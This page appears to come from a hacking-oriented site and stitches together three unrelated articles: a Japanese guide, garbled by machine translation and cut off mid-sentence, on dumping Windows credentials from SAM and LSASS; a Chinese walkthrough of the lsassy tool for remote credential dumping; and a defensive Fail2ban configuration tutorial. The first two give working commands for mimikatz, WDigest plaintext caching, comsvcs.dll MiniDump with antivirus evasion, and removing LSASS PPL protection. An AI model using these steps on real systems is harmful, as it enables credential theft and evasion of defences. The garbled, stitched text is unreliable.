HireHackking

現在のマシンの平文パスワードを取得 ドメインハッシュをエクスポートする前に、最初に現在のマシンのローカルハッシュパスワードをエクスポートしようとすることができます。以前にドメインユーザーがこのマシンにログインした場合、ドメインユーザーまたはドメイン管理者のアカウントを直接取得できます。 Windowsオペレーティングシステムでは、SAMデータベース（C: \ Windows \ System32 \ config \ sam）がローカルユーザーのハッシュを保存します。 ローカル認証プロセスでは、ローカルセキュリティ許可サービスプロセスlsass.exeは、メモリ（DMPファイル）でユーザーパスワードをキャッシュします。 したがって、ここでは、現在のマシンのハッシュをクロールする2つの方法を検討できます：オンラインツール抽出とオフライン分析抽出。 注：Windows 10 \ 2012R2の後のシステムバージョンでは、メモリキャッシュでデフォルトでシステムユーザーのプレーンテキストパスワードが無効になります。この時点で、Mimikatzを使用してPlantextをキャッチできます。また、それをキャッチすることはできません。パスワードフィールドディジットは、nullとして直接表示されます。 ここでは、レジストリを手動で変更して、平易なテキストを保存して、クロールできるようにします。 （変更後、ログインする前にユーザーからログアウトする必要があります） reg add hklm \\ system \\ currentControlset \\ control \\ securityproviders \\ wdigest /v uselogoncredential /t reg \ _dword /d 1 /f mimikatz ミミカッツは、フランス人ベンジャミンによって開発された強力な軽量デバッグツールです。個人的なテストを目的としていますが、その強力な機能のため、Windows XP-2012などのオペレーティングシステムの平文パスワードを直接読み取ることができ、浸透テストで有名です。浸透に必要なツールであると言えます。 住所をダウンロード：https://github.com/gentilkiwi/mimikatz 1.レジストリを介してハッシュをクロールします コマンドラインを実行して、現在のシステムレジストリのSAMおよびシステムファイルを取得します（ローカル管理者の権利が必要です） reg save hklm \\ system sys.hiv reg save hklm \\ sam sam.hiv ファイルを取得した後、攻撃者のネイティブマシンにダウンロードし、Mimikatzを使用してハッシュを分析および抽出できます。 mimikatz.exe 'lsadump:3360sam /sam:sam.hiv /system:sys.hiv' 'exit' この方法は、SAMファイルに保存されているローカルユーザーのアカウントのみを取得できます 2.ターゲットマシンにmimikatzをアップロードし、ローカルSAMファイルによって保存されたアカウントハッシュ値をオンラインで抽出します 特権:Debug token:3360Elevate lsadump:sam 3. lsass.exeの記憶からハッシュを拡張します Mimikatz '特権:3360Debug' 'sekurlsa:3360logonpasswords full' 'exit' ローカルユーザーにログインしたドメイン管理者のハッシュ値が、ローカルユーザーの管理者権限を使用してキャプチャされたことがわかりました。 pwdump7 pwdump7.exeを直接実行するだけです WEC ターゲットマシンにアップロードし、直接実行するパラメーターを追加します。 -lリストログインセッションとNTLM資格情報（デフォルト） -S現在のログインセッションパラメーターのNTLM資格情報を変更する：ユーザー名:ドメイン名:LMハッシュ:NTハッシュ -Rは、ログインセッションとNTLM資格情報を定期的にリストします。新しいセッションが見つかった場合、5秒ごとに再リストされます。 -c特別なNTML資格情報パラメーターを使用して新しいセッションを実行します。 -eログインセッションとntlm資格情報を随時リストし、ログインイベントが生成されたときに一度再リストする -oすべての出力をファイルパラメーター:ファイル名に保存します - 現在のログインセッションパラメーター:を使用する代わりに、LUIDを指定します -dログインセッションパラメーター:からNTLM資格情報を削除します -adressアドレスパラメーター:アドレスを使用します -fフォースセーフモード -g LMおよびNTパラメーターパスワードのハッシュを生成します -Kキャッシュkerberosチケットはファイルへのチケット（UNIXおよびWindows WCE形式） -kファイルからKerberosのチケットを読んで、Windowsキャッシュに挿入します -Wダイジェスト認証を介してパスワードをプレーンテキストにキャッシュします -v詳細な出力 lazagne アドレスをダウンロード：https://github.com/alessandroz/lazagne lazagne.exeすべて sharpdump https://github.com/ghostpack/sharpdump 直接コンパイルするだけです ./sharpdump lsasssilentprocessexit https://MP.WEIXIN.QQ.COM/S/8UER5DNAQS24KUKXU5YI9W サイレントプロセスの出口、つまり、静かに出口。このデバッグテクノロジーは、werfault.exeプロセスを導き出すことができます。これは、あらゆるプログラムを実行したり、プロセスのメモリファイルまたはポップアップを再配置するために使用できます。 主に、レジストリ +リモートプロセスインジェクションを変更してメモリをダンプするLSASSILENTProcessExit APIと、関連するレジストリキー値を使用します。 #define ifeo \ _reg \ _key 'Software \\\\\\\\\\\ windows nt \\\\ currentversion \\\\画像ファイル実行オプション\\\\\' #define silent \ _process \ _exit \ _reg \ _key 'software \\\\\\\\\\\\\\ currentversion \\\\\ silentprocessexit \\\\\' リモートプロセスインジェクションを使用して、lsass.exeにrtlreportsilentprocessexit機能自体を呼び出すようにします。 hmodule hntdll=getModuleHandle（l'ntdll.dll '）; rtlReportSilentProcessexit \ _func rtlReportSilentProcessexit=（rtlReportSilentProcessexit \ _func） hthread=createremotethread（hprocess、null、0、（lpthread \ _start \ _routine）rtlreportsilentprocessexit、（lpvoid）-1、null、null）; ただし、レジストリを変更する必要があるため、ソフトキル入力環境をバイパスすることはほとんど不可能です。 lsasssilentprocessexit.exe 616 0 敏感な環境でlsassプロセスをダンプする方法 PowerShellを使用してファイルなしでエクスポート https://BLOG.csdn.net/chenfeng857/article/details/120126818 https://xz.aliyun.com/t/12157#toc-9 comsvcs.dllには、システムが付属しています。 comsvcs.dllのエクスポート関数Minidumpを介してダンプメモリを実装します。 指定されたプロセスメモリファイルをダンプする場合、Sedebugprivilegeの許可が必要です。管理者許可のCMDでは、Sedebugprivilegeの許可はデフォルトでサポートされていますが、ステータスは無効になっています。 CMDの下でRunDLL32コマンドを直接実行し、指定されたプロセスメモリファイルをダンプしようとすると、SedeBugPrivilegeの許可を有効にできないため、ダンプが失敗します。 ただし、管理者の特権を備えたPowerShellの下では、デフォルトでSedebugprivilegeの許可がサポートされ、ステータスが有効になります。 最初にlsass.exeプロセスpidを確認します タスクリスト| findstr lsass.exe rundll32.exe comsvcs.dll minidump pid path full rundll32.exe comsvcs.dll minidump 1096 C: \\ users \\ 16229 \\ desktop \\ 1.dmp full 直接実行すると、ソフトを殺すことで傍受される可能性があります。 それをバイパスする簡単な方法： copycomsvcs.dllは、無感覚なディレクトリに、たとえばtest.dllなど、無感覚なディレクトリに命名され、ランダムに命名されます c: \\ windows \\ system32 \\ comsvcs.dll test.dllをコピーします rundll32.exe c: \\ users \\ 16229 \\ desktop \\ code \ _java \\ test.dll Minidump 1096 C: \\ Users \\ 16229 \\ desktop \\ code \ _java \\ 3.dmp Full ローカルにドラッグし、分析のためにMimikatzを使用します。 mimikatz.exe log 'sekurlsa:minidump 2.dmp' 'sekurlsa:logonpasswordsフル'出口 runaspplが有効になっている環境 https://www.freebuf.com/articles/system/332506.html https://xz.aliyun.com/t/12157#toc-19 ミミカッツ PPL保護が有効になっているため、管理者でさえLSASSプロセスを開くことができません。 Mimikatz '特権:3360Debug' 'sekurlsa:3360logonpasswords full' 'exit' mimikatzprivilege:3360debugのコマンドは正常に有効になります。 Sedebugprivilegeですが、コマンドsekurlsa:logonpasswordsが失敗し、エラーコード0x00000005が表示されます。 Minikatzコードkuhl_m_sekurlsa_acquirelsa（）関数から、私たちはそれを単に理解することができます hdata=nullを処理します。 dword pid; DWord ProcessRights=process_vm_read | process_query_information; kull_m_process_getProcessIdforname（l'lsass.exe '、pid）; hdata=openProcess（processrights、false、pid）; if（hdata hdata！=invalid_handle_value）{ //OpenProcess OKの場合 } それ以外{ print_error_auto（メモリのハンドル '）; } Process Explorerを使用してLSASSプロセスを開いて表示し、アクセスが拒否されます。 ミミカッツのデジタル署名ドライバーを使用して、カーネルのプロセスオブジェクトの保護フラグを削除する ミニカッツインストールドライバー 特権:Debug ！+ 保護を削除します ！ProcessProtect /Process:lsass.exe /remove その後、パスワードをダンプできます sekurlsa:3360logonpasswords ツールを使用して保護が削除されていることを表示します mimikatz.exe 'privilege:3360debug' ''！+'' pplkiller https://www.cnblogs.com/revercc/p/16961961.html https://RedCursor.com.au/Bypassing-lsa-protection-aka-crotected-crocess-light-without-mimikatz-on-windows-10/ 優先度の違い：PPは、その署名レベルが等しいか等しい限り、フルアクセス権限を備えたPPまたはPPLを開くことができます。 PPLは、その署名レベルが等しいか等しい限り、フルアクセス許可を備えた別のPPLを開くことができます。署名レベルに関係なく、PPLはフルアクセス許可を持つPPを開くことはできません。 PPLが有効になっていると、保護レベルの高いプロセスのみが保護されたプロセスで動作できます。 Windowsカーネルは、_eprocess構造を使用して、カーネルメモリのプロセスを表します。これには、そのタイプ（_PS_PROTECTED_TYPE）および署名者（_PS_PROTECTED_SIGNER）プロパティを介してプロセスの保護レベルを定義する_PS_プロテクションフィールドが含まれます。 typedef struct _ps_protection { ユニオン{ UCHARレベル; struct { UCHAR TYPE : 3; UCHAR監査: 1; //予約済み Uchar Signer : 4; }; }; } ps_protection、 *pps_protection; それは構造体として表されますが、すべての情報は単一のバイトの2つのニブル（levelis a uchar、unsigned char）に保存されます。最初の3桁は保護タイプを示します（以下のps_protected_typeを参照）。プロセスがPPまたはPPLであるかどうかを定義します。最後の4桁は、署名者タイプ（以下のps_protected_signerを参照）、つまり実際の保護レベルを表します。 typedef enum _ps_protected_type { psprotectedtypenone=0、 psprotectedtepeprotectedlight=1、 psprotectedTepepRetected=2 } PS_PROTECTED_TYPE、 *PPS_PROTECTED_TYPE; typedef enum _ps_protected_signer { psprotectedSignernone=0、//0 psprotectedSignerAuthenticode、//1 psprotectedSignerCodegen、//2 psprotectedSignerantimalware、//3 psprotectedSignerlsa、//4 psprotectedSignerWindows、//5 psprotectedSignerwintcb、//6 psprotectedSignerWinsystem、//7 psprotectedSignerApp、//8 psprotectedSignerMax //9 } PS_PROTECTED_SIGNER、 *PPS_PROTECTED_SIGNER; LSA保護をバイパスしたい場合は、EPROCESSカーネル構造にパッチを当てることにより、LSASSプロセスのPPLフラグを無効にすることができます。これを行うには、LSASS eProcess構造とパッチ5値のアドレスを見つける必要があります。Signaturelevelevel、sectionsignaturelevel、タイプ、監査、署名者はゼロです。 EnumDevicedRivers関数は、カーネルベースアドレスをリークするために使用できます。これを使用して、システムプロセスのeProcess構造を指すpsinitialsystemprocessを見つけることができます。カーネルはリンクされたリストでプロセスを保存するため、eProcess構造のActiveProcessLinksメンバーを使用してリンクされたリストを反復し、LSASSを探すことができます。 eProcess構造を見ると、パッチする必要がある5つのフィールドが、従来の4バイトとして揃っていることがわかります。これにより、次のように単一の4バイト書き込みでeProcess構造にパッチを当てることができます。writememoryPrimitive（device、4、currentProcessAddress + SignAtureLevelOffset、0x00）; アドレスを見つけた後、これらの4バイトの値をゼロにパッチするだけです。 pplkiller.exe /instalddriver タスクリスト| findstr lsass.exe pplkiller.exe /disableppl 688 異なるカーネルバージョンに遭遇した場合、プログラムは4バイトに正しくパッチを適用できません。同じバージョンのマシンを見つけて、WindBGデバッグを使用してLSASSカーネルアドレスを表示できます。 bcdedit/debug onsrv \*https://msdl.microsoft.com/ダウンロード/シンボル .reload ！プロセス0 0 lsass.exe dt \ _eprocess アドレス0x6C0を見つけ、スクリプトを変更してからコンパイルします。 ppldump https://ITM4N.GITHUB.IO/THEEND-OF-PPLDUMP/ https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/ PPLDUMPは、ユーザー状態の脆弱性の活用を実装し、任意のコードを管理者としてPPLに注入するC/C ++で記述されたツールです。この技術は、Alex IonescuとJames Forshawによる多くの調査結果の1つであり、保護されたプロセス（PPおよびPPL）に関する詳細な研究を実施しています。 ppldumpの実用的な原則は次のとおりです。 APに電話してください

0x00 前言在之前文章《渗透基础——从lsass.exe进程导出凭据》 介紹了本地導出憑據的方法，而在滲透測試中，經常遇到的情況是需要遠程導出憑據，本文將要介紹遠程導出憑據的思路和方法，記錄細節。 0x01 簡介本文將要介紹以下內容： 思路 實現方法 lsassy介紹 0x02 思路在遠程導出憑據時，需要考慮以下幾點： (1)需要實現遠程命令執行，關於遠程命令執行，可以參考之前的文章《在远程系统上执行程序的技术整理》 (2)由於保護措施的限制，不同環境需要不同的導出方法 (3)遠程導出lsass進程的dump文件後，通常會選擇將dump文件複製到本地，解析得到口令hash，而有的時候lsass進程的dump文件很大，所以需要考慮傳輸文件的效率 (4)對於多個系統，重複勞動太多，效率不高 綜合以上幾點，我們需要一個方便快捷的方法：支持多種導出方法，能夠直接解析出口令hash，操作自動化以提高效率。 這裡可以使用開源工具Lsassy，地址為：https://github.com/Hackndo/lsassy 0x03 lsassy介紹1.安裝使用安裝命令： pipinstalllsassy測試命令： lsassy-uAdministrator-pPassword1192.168.1.1在輸出上，使用termcolor添加了顏色顯示，在默認Windows cmd下無法正常顯示顏色，會導致顯示格式不友好，存在一些亂碼。 為了解決Windows下格式亂碼的問題，可以修改Python \lib\site-packages\lsassy\logger.py，代碼如下： importlogging importos importsys classLsassyFormatter(logging.Formatter): def__init__(self): logging.Formatter.__init__(self,'%(bullet)s%(threadName)s%(message)s',None) ifos.name=='nt': self.BLUE,self.WHITE,self.YELLOW,self.RED,self.NC='','','','','' else: self.BLUE='\033[1;34m' self.WHITE='\033[1;37m' self.YELLOW='\033[1;33m' self.RED='\033[1;31m' self.GREEN='\033[1;32m' self.NC='\033[0m' defformat(self,record): ifrecord.levelno==logging.INFO: record.bullet='[*]{}'.format(self.NC) elifrecord.levelno==logging.DEBUG: record.bullet='[*]{}'.format(self.NC) elifrecord.levelno==logging.WARNING: record.bullet='[!]{}'.format(self.NC) elifrecord.levelno==logging.ERROR: record.bullet='[x]{}'.format(self.NC) else: record.bullet='[+]{}'.format(self.NC) ifrecord.exc_infoandlogging.getLogger().getEffectiveLevel()!=logging.DEBUG: record.exc_info=None returnlogging.Formatter.format(self,record) defhighlight(msg): returnmsg definit(quiet=False): handler=logging.StreamHandler(sys.stdout) handler.setFormatter(LsassyFormatter()) logging.getLogger().addHandler(handler) logging.getLogger().setLevel(logging.INFO) logging.addLevelName(25,'SUCCESS') setattr(logging,'success',lambdamessage,*args:logging.getLogger()._log(25,message,args)) logging.getLogger().disabled=quiet2.打包成exe這裡可以使用pyinstaller，主程序代碼為https://github.com/Hackndo/lsassy/blob/master/lsassy/console.py 打包成單獨exe的命令： pyinstaller-Fconsole.py生成console.exe後，在執行時會報錯提示缺少Module 根據輸出提示修改打包命令，添加引用Module： pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4此時雖然能夠正常啟動console.exe，但是無法運行導出功能。 調試方法：添加參數-vv，能夠看到lsassy.dumpmethod.comsvcs找不到 添加所有依賴包，得到完整的打包命令： pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4--hidden-importlsassy.dumpmethod.comsvcs--hidden-importlsassy.dumpmethod.comsvcs_stealth--hidden-importls assy.dumpmethod.dllinject--hidden-importlsassy.dumpmethod.dumpert--hidden-importlsassy.dumpmethod.dumpertdll--hidden-importlsassy.dumpmethod.edrsandblast--hidden-importlsassy.dumpmethod.mirrordump--hidden-importlsassy.dumpmethod.mirrordump_embedded--hidden-importlsassy.dumpmethod.nanodump--hidden- importlsassy.dumpmethod.ppldump--hidden-importlsassy.dumpmethod.ppldump_embedded--hidden-importlsassy.dumpmethod.procdump--hidden-importlsassy.dumpmethod.procdump_embedded--hidden-importlsassy.dumpmethod.rdrleakdiag--hidden-importlsassy.dumpmethod.wer--hidden-importlsassy.exec.mmc--hidden-importls assy.exec.smb--hidden-importlsassy.exec.smb_stealth--hidden-importlsassy.exec.task--hidden-importlsassy.exec.wmi--hidden-importlsassy.output.grep_output--hidden-importlsassy.output.json_output--hidden-importlsassy.output.pretty_output--hidden-importlsassy.output.table_output此時生成的console.exe可以正常使用。 3.支持的導出方法(1)comsvcs 使用C:\windows\system32\comsvcs.dll的導出函數MiniDump()獲得lsass進程的dump文件。 細節可參考之前的文章《MiniDumpWriteDump via COM+ Services DLL》 的利用測試。 可直接使用。 (2)comsvcs_stealth 方法類似comsvcs，區別是先將C:\windows\system32\comsvcs.dll複製到c:\windows\temp並重命名，使用新的dll獲得lsass進程的dump文件。 可直接使用。 (3)dllinject 通過dll注入的方式實現 APC注入的方法可參考《通过APC实现Dll注入——绕过Sysmon监控》 。 需要加入參數： -O loader_path=loader.exe,dll_path=inject.dll (4)dumpert 技術細節：https://github.com/outflanknl/Dumpert 通過API MiniDumpWriteDump()獲得lsass進程的dump文件。 需要加入參數： -O dumpert_path=dumpert.exe (5)dumpertdll 方法同上，區別是使用dll文件作為參數。 需要加入參數： -O dumpertdll_path=dumpert.dll (6)edrsandblast 技術細節：https://github.com/wavestone-cdt/EDRSandblast 利用帶有簽名的驅動程序獲得lsass進程的dump文件 需要加入參數： -O edrsandblast_path=EDRSandBlast.exe,RTCore64_path=RTCore64.sys,ntoskrnl_path=NtoskrnlOffsets.csv (7)mirrordump 技術細節：https://github.com/CCob/MirrorDump 實現流程： 加載一個LSA SSP插件 在插件中洩露lsass.exe的進程句柄 通過API MiniDumpWriteDump()獲得lsass進程的dump文件 需要加入參數： -O mirrordump_path=Mirrordump.exe (8)mirrordump_embedded 方法同上，不需要Mirrordump.exe作為參數。 需要注意的是mirrordump無法自動清除已註冊的LSA SSP插件，使用該方法後會留下以下痕跡： LSA SSP插件保存在C:\Windows\System32，名稱為八位隨機字符，後綴名為dll lsass進程中殘留未卸載的dll 痕跡如下圖 清除痕蹟的方法：先卸載lsass進程中加載的dll，再刪除dll文件。 關於枚舉和清除LSA SSP插件的細節可參考之前的文章《Mimikatz中SSP的使用》 。 可直接使用。 (9)nanodump 技術細節：https://github.com/helpsystems/nanodump 優點是支持多種方式洩露lsass進程句柄。 需要加入參數： -O nanodump_path=nanodump.exe (10)ppldump 技術細節：https://github.com/itm4n/PPLdump 支持Win10和Server2019 能夠繞過PPL(Protected Process Light)對lsass進程的保護。 相關細節： https://itm4n.github.io/lsass-runasppl/ https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/ 需要加入參數： -O ppldump_path=PPLdump.exe (11)ppldump_embedded 方法同上，不需要PPLdump.exe作為參數。 可直接使用。 (12)procdump 通過procdump.exe獲得lsass進程的dump文件。 需要加入參數： -O procdump_path=procdump.exe (13)procdump_embedded 方法同上，不需要procdump.exe作為參數。 可直接使用。 (14)rdrleakdiag 目標系統需要在c:\windows\system32\下存在文件rdrleakdiag.exe 默認存在的系統： Windows 10，10.0.15063.0 Windows 8.1，6.3.9600.17415 Windows 8，6.2.9200.16384 Windows7，6.1.7600.16385 Windows Vista，6.0.6001.18000 只能執行一次，再次執行需要重新啟動操作系統。 可直接使用。 (15)wer 技術細節：https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1 通過Powershell調用API MiniDumpWriteDump()獲得lsass進程的dmp文件。 可直接使用。 0x04 小結本文介紹了遠程從lsass.exe進程導出憑據的思路，逐個介紹Lsassy使用的導出方法，分析技術細節。

如何保護您的Web 應用程序免受密碼破解Part 1 什麼是Fail2ban，它是如何工作的？ Fail2ban是一種用於掃描日誌文件、檢測可疑活動（例如太多失敗的身份驗證嘗試）以及阻止潛在惡意IP 地址的工具。 這項免費服務有助於保護Linux 機器免受暴力破解和其他自動攻擊。通常，Fail2ban 用於更新防火牆規則以在指定的時間內拒絕IP 地址。 Fail2ban 有以下好處： 马云惹不起马云易於設置 马云惹不起马云免費使用 马云惹不起马云可以與大量應用程序交互 马云惹不起马云提供大量配置參數 马云惹不起马云易於監控當前保護狀態 马云惹不起马云與各種通知服務集成 儘管Fail2ban 可以幫助您最大限度地減少錯誤身份驗證嘗試的次數，並在一定程度上降低密碼破解和未經授權訪問的風險，但它並不是靈丹妙藥。 不利的一面是，Fail2ban 無法涵蓋由於服務器身份驗證策略薄弱而出現的問題。即使是最好的Fail2ban 配置也不能替代我們上面討論的密碼保護最佳實踐。此外，Fail2ban 僅適用於Linux，不適用於IPv6。 為了有效地保護您的服務，您還可以應用用於多因素和公共/私人身份驗證機制的工具。 Fail2ban 的優缺點 Fail2ban 是如何工作的？下面簡單解釋一下它的機制： 1. 任何應用程序或服務器總是將日誌保存在特定文件中，包括失敗的身份驗證嘗試的唯一日誌。 2. Fail2ban 掃描這些文件，搜索與身份驗證失敗相關的日誌。 3. 如果檢測到失敗的身份驗證嘗試，Fail2ban 會保存嘗試的時間和負責的IP 地址。 4. Fail2ban 計算在指定時間段內來自同一IP 的失敗身份驗證嘗試。 5. 如果IP 地址超過了允許的嘗試次數，Fail2ban 會創建一個新的防火牆規則來阻止該IP 地址。 結果，可疑的IP 地址將失去訪問服務器的能力。經過一段可配置的時間後，IP地址可以自動解禁，也可以手動解禁。 例如，您可以配置Fail2ban，如果任何威脅行為者發起密碼破解攻擊，他們的IP 地址將被禁止五個小時。 現在，讓我們探索配置過程本身。 如何配置Fail2ban您可以配置Fail2ban 以讀取不同應用程序的日誌。開箱即用，此工具可以與以下應用程序類型交互： 马云惹不起马云SSH 服務器 马云惹不起马云HTTP 服務器 马云惹不起马云Webmail 和群件服務器 马云惹不起马云網絡應用 马云惹不起马云HTTP 代理服務器 马云惹不起马云FTP 服務器 马云惹不起马云郵件服務器 马云惹不起马云郵件服務器驗證器 马云惹不起马云DNS 服務器 马云惹不起马云來自不同類別的各種服務器應用程序 默認情況下，Fail2ban 啟用使用sshd的通信，這是一個OpenSSH 服務器進程。這意味著在幾次失敗的SSH 身份驗證嘗試後，負責的IP 地址將被禁止。 為了與任何應用程序交互，Fail2ban 使用Jail，它是一個過濾器和一個或多個操作的組合。此交互允許您在身份驗證嘗試失敗後禁止IP 地址。 監獄配置默認保存到jail.conf 文件。如果要更改默認設置，請複製配置文件並將副本命名為jail.local。如果jail.local 文件存在，Fail2ban 將自動使用它而不是默認文件。 我們不建議對原始配置文件進行更改，因為萬一出現任何錯誤，返回默認設置將非常困難。此外，一旦安裝了Fail2ban 的新更新，jail.conf 文件也將更新，您的所有自定義設置都將消失。 以下是Fail2ban 如何確定失敗的身份驗證嘗試： 1. 該工具具有寫入jail.local 配置文件中的服務日誌文件的路徑。 2. 失敗的身份驗證日誌和常規異常會自動添加到Fail2ban 文本過濾器中。 3. 該工具使用文本過濾器掃描日誌文件。 如果您打開配置文件，您會發現Fail2ban 可以與之交互的相當大的應用程序列表。這些應用程序的名稱在括號中，如下面的示例代碼所示： #Mailservers [assp] port=smtp,465,submission logpath=/root/path/to/assp/logs/maillog.txt [courier-smtp] port=smtp,465,submission logpath=%(syslog_mail)s backend=%(syslog_backend)s [postfix] #Touseanothermodessetfilterparameter'mode'injail.local: mode=more port=smtp,465,submission logpath=%(postfix_log)s backend=%(postfix_backend)s [postfix-rbl] filter=postfix[mode=rbl] port=smtp,465,submission logpath=%(postfix_log)s backend=%(postfix_backend)s maxretry=1默認情況下，Fail2ban 配置為僅與SSH 一起使用，並且所有其他通信協議都被禁用。如果需要開啟其他類型的通信，在配置文件中找到需要的類型，添加如下字符串： enabled=true這是一個例子： [nginx-http-auth] enabled=true port=http,https logpath=%(nginx_error_log)s如果需要，您還可以更改與某個應用程序交互的現有參數或添加新參數。以下是常用參數列表： 马云惹不起马云ignoreip指定Fail2ban 忽略的IP 地址。默認情況下，該參數設置為忽略當前機器的流量。 马云惹不起马云bantime 以秒為單位設置禁令持續時間。默認值為600 秒。 马云惹不起马云findtime定義了監控來自每個IP 地址的失敗身份驗證嘗試的時間段。默認值為600 秒。 马云惹不起马云maxretry指定在findtime 指定的時間內每個地址的失敗登錄嘗試限制。 马云惹不起马云usedns確定是否使用反向DNS 進行阻止。如果設置為NO，則Fail2ban 將阻止IP 地址而不是主機名。如果設置為YES，該工具將嘗試使用反向DNS 來查找主機名並阻止它。默認值為WARN。它就像YES 值一樣工作，但也會記錄一個警告。系統工程師可以稍後查看所有警告。 马云惹不起马云協議指定將被阻止的流量類型。默認情況下它是TCP。 马云惹不起马云port指定要禁止的端口。 马云惹不起马云logpath顯示日誌文件的路徑。 注意：上面的列表沒有描述所有的Fail2ban 參數。您可以在配置文件中找到所有這些。 您可以在/etc/fail2ban 文件夾中的文件中找到在logpath參數中默認設置的日誌文件路徑（例如，上面代碼示例中的nginx_error_log ）： 马云惹不起马云paths-common.conf — 具有默認服務日誌路徑的文件 马云惹不起马云path-opensuse.conf、paths-arch.conf、paths-debian.conf — 包含不同Linux 系統的特定路徑的文件 如果您打開上述文件，您可以看到類似於以下的日誌文件路徑： apache_error_log=/var/log/apache2/*error.log apache_access_log=/var/log/apache2/*access.log auditd_log=/var/log/audit/audit.log exim_main_log=/var/log/exim/mainlog nginx_error_log=/var/log/nginx/*error.log nginx_access_log=/var/log/nginx/*access.log如有必要，您可以編輯指示應在日誌中搜索哪些文本以確定身份驗證失敗的過濾器。每個過濾器都位於/etc/fail2ban/filter.d 文件夾中的一個單獨文件中。 截圖1. /etc/fail2ban/filter.d文件夾內的過濾器列表 當您打開任何過濾器文件時，您將看到一個帶有所需身份驗證失敗文本的正則表達式，如下例所示： 屏幕截圖2. 過濾驗證失敗的文本 配置完成後，使用以下命令重新加載Fail2ban： sudofail2ban-clientreload如果您只更改了一個Jail文件的設置，則無需重新啟動該工具。只需使用以下命令重新加載它： 此外，您可以配置Fail2ban 以與配置文件中不存在的任何應用程序進行交互。您需要做的就是添加您的自定義配置，如上所述。 如何使用Fail2ban要檢查當前啟用了哪些監獄，請使用以下命令： sudofail2ban-clientstatus這是響應的示例： Status |-Numberofjail:2 `-Jaillist:nginx-http-auth,sshd如您所見，服務器上啟用了nginx-http-auth 和sshd Jails 。如果要查看任何Jail參數的值，則無需打開配置文件；只需使用以下命令： 這是一個代碼示例，它向我們展示了sshd Jail maxretry 等於5： sudofail2ban-clientgetsshdmaxretry5如果監獄超過了失敗的身份驗證嘗試限制，Fail2ban 將禁止在監獄配置中為IP 地址指定的端口。要檢查監獄狀態，請使用以下命令： 下面是一個響應示例，它向我們展示了兩個IP 地址當前被禁止SSH 訪問： Statusforthejail:sshd |-Filter ||-Currentlyfailed:0 ||-Totalfailed:25 |`-Filelist:/var/log/auth.log `-Actions |-Currentlybanned:2 |-Totalbanned:5 `-BannedIPlist:192.168.10.107192.168.10.115如果您在IP 在禁止列表中時嘗試訪問服務器，則會收到如下“連接被拒絕”錯誤： ssh:connecttohost192.168.10.105port22:Connectionrefused如果IP 地址被任何HTTP 服務器Jail禁止，錯誤將類似： curl:(7)Failedtoconnectto192.168.10.105port80:Connectionrefused您還可以使用以下命令手動將任何IP 地址添加到禁止列表： 這是一個例子： sudofail2ban-clientsetnginx-http-authbanip10.100.1.210要手動解禁IP 地址，請使用以下命令： 這是一個例子： sudofail2ban-clientsetnginx-http-authunbanip10.100.1.210考慮到這一點，讓我們開始在Fail2ban 中配置通知。 如何配置Viber 聊天機器人以接收Fail2ban 通知如果要監控Fail2ban 活動，請通過以下三個步驟配置實時活動通知： 1. 配置您要使用的任何通知服務 2. 準備Fail2ban 動作配置文件 3. 在jail.local 文件中更新action參數的值 Fail2ban 具有使用電子郵件服務的配置。您需要做的就是在服務器上配置服務。 但是，如果您想通過Viber 等信使服務接收通知怎麼辦？讓我們討論如何配置它！ 首先，要將Viber 用作通知服務，您需要創建一個Viber 聊天機器人。您可以在Viber API 文檔頁面上找到有關Viber 聊天機器人設置和配置的文檔。 準備好聊天機器人後，請確保執行以下步驟： 1. 獲取Viber 聊天機器人的身份驗證令牌。您可以在Viber 管理面板頁面上找到它。 2.在訂閱Viber 聊天機器人的所有用戶列表中找到您的用戶ID。為此，請使用以下HTTP 請求： 響應將向您顯示成員列表，如下例所示： 'members':[{'id':'','name':'JohnDoe','role':'admin'}]選擇必要成員的ID 並複制。 現在，您可以開始配置Fail2ban。轉到/etc/fail2ban/action.d 文件夾，其中包含所有可能的Fail2ban 操作的配置。 為Viber 通知創建一個新的配置文件。我們將其命名為viber_notifications.conf。現在將以下內容添加到文件中： 讓我們弄清楚上面的字符串是什麼意思以及我們可以配置什麼： 马云惹不起马云actionban和actionunban參數描述了當Fail2ban 禁止或解禁可疑IP 地址時需要執行的操作。在我們的例子中，HTTP 請求會將消息從您的Viber 聊天機器人發送給您指定的用戶。 马云惹不起马云 Auth Token 和user id 是我們之前討論過的參數。只需粘貼您的身份驗證令牌和您複製的用戶名。 马云惹不起马云sender是配置通知發送者名稱的參數。在我們的示例中，我們使用名稱“Fail2ban”。 马云惹不起马云type是幫助您配置消息類型的參數。您可以使用Viber 發送不同的消息類型。在我們的示例中，我們使用文本類型。 马云惹不起马云text是一個參數，其中包含機器人將發送的消息。您可以向文本添加不同的變量。例如， ip 代表被禁止的IP 地址、 name 監獄名稱和failures 失敗次數。 马云惹不起马云name=default是一個字符串，表示將動態分配監獄名稱 我們的下一步是配置jail.local。為此，您需要在必要的Jail部分中添加操作參數或更新[DEFAULT]部分中的默認參數。該參數應包含兩個操作：第一個用於IP 禁止，第二個用於Viber 通知。 下面是一個使用action參數的例子 action=%(action_)s viber_notifications注意：%(action_)s是默認操作值。此操作將禁止IP 地址。讓我們將Viber 操作配置名稱“viber_notifications”添加到第二個字符串。 現在，由於jail.conf 文件發生了變化，您需要重新加載Fail2ban 客戶端並重新啟動服務： sudofail2ban-clientreload systemctlrestartfail2ban聊天機器人將如下所示： 屏幕截圖3. Viber 聊天機器人中的Fail2ban 通知 配置完成。現在您可以使用Viber 聊天機器人實時監控Fail2ban 活動！ 結論密碼破解攻擊是對任何應用程序的嚴重威脅。惡意行為者使用不同的方法來未經授權訪問用戶帳戶並竊取用戶的敏感數據。 為了保護您的應用程序免受此類威脅，請應用嚴格的身份驗證策略並使用Fail2ban 等服務設置可靠的密碼破解保護。 在Apriorit，我們在構建每個項目時都考慮到網絡安全。我們的Web 應用程序開發和質量保證專家已經掌握了威脅保護應用程序的開發以及包括Fail2ban 在內的不同安全服務的配置。

